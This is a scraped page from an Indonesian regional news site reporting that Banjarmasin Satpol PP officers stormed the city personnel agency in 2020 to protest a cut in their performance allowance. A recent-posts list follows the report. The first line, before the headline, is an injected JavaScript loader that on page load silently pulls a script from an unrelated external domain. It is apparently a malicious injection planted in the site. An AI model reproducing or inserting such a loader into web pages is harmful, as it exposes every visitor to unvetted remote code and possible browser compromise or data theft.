(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Seruduk Kantor BKD, Satpol PP Banjarmasin Tuntut Kenaikan Tukin


KANALKALIMANTAN.COM, BANJARMASIN – Suasana riuh terjadi di kantor Badan Kepegawaian Daerah (BKD) Kota Banjarmasin Selasa (18/2/2020) siang. Ya, aparat Satpol PP Kota Banjarmasin menyeruduk kantor BKD dengan penuh emosi.

Dari pantauan di lokasi, aparat Satpol PP membentangkan spanduk yang berisi tuntutan kenaikan tunjangan kinerja (tukin), menuntut hak dan keadilan, serta beban dan risiko kerja.

Salah satu perwakilan dari aparat Satpol PP Banjarmasin yang enggan menyebutkan identitasnya mengatakan, ia bersama rekannya telah bekerja maksimal dari pagi hingga malam hari.

“Selama ini karena ada perubahan sistem tunjangan, kami dari Satpol PP dan Damkar Kota Banjarmasin merasa teraniaya. Karena kami kerja siang malam, pagi sore. Bahkan, di hari Sabtu dan Minggu pun kami kerja,” katanya.

Sehingga, lanjutnya, aparat Satpol PP menuntut perhatian dan keadilan dari BKD Banjarmasin. Selain itu, selama penerapan tukin selama setahun, ia bersama rekan-rekannya memilih diam. Agar BKD Banjarmasin perduli dengan aparat penegak Perda ini.

“Ternyata apa? Setelah kami dan pimpinan kami mengajukannya ke pak Walikota, ternyata beliau setuju untuk meningkatkan tunjangan kami. Namun ternyata dihapus dan ditolak oleh BKD,”  tuturnya.

Ia bersama rekan-rekannya meminta pertanggungjawaban BKD Banjarmasin. Karena, menurutnya, ada aturan risiko kerja untuk ASN dan berlaku di seluruh Indonesia. “Dan itu dihapus untuk kami, sedangkan kami diolah apa?” lanjutnya.

Ia mengaku, tunjangan yang berkurang dirasa cukup banyak yaitu 50 persen. Lebih lanjut dirinya mempertanyakan komitmen walikota dalam meningkatkan kesejahteraan aparat yang lebih banyak bekerja di lapangan. “Kami kerja terus,” singkatnya.

Beruntung, Walikota Ibnu Sina sempat menghampiri pengunjuk rasa yang juga merupakan bagian dari Pemko Banjarmasin. Perwakilan dari aparat Satpol PP Banjarmasin ini menyebut, ia bersama rekan-rekannya tidak akan beranjak dari kantor BKD Banjarmasin sebelum ada hasil yang memihak kepadanya. Bahkan ia tidak segan-segan mengancam akan membebaskan semua PKL di Kota Banjarmasin. “Pelanggaran apapun kita biarkan! Kita tarik anggota kita di Balaikota! Kita diam saja di kantor dan bertahan di sini (kantor BKD),” pungkasnya penuh emosi. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie

 


Al Ghifari

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

2 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

3 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

3 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

4 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

4 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

7 jam ago

This website uses cookies.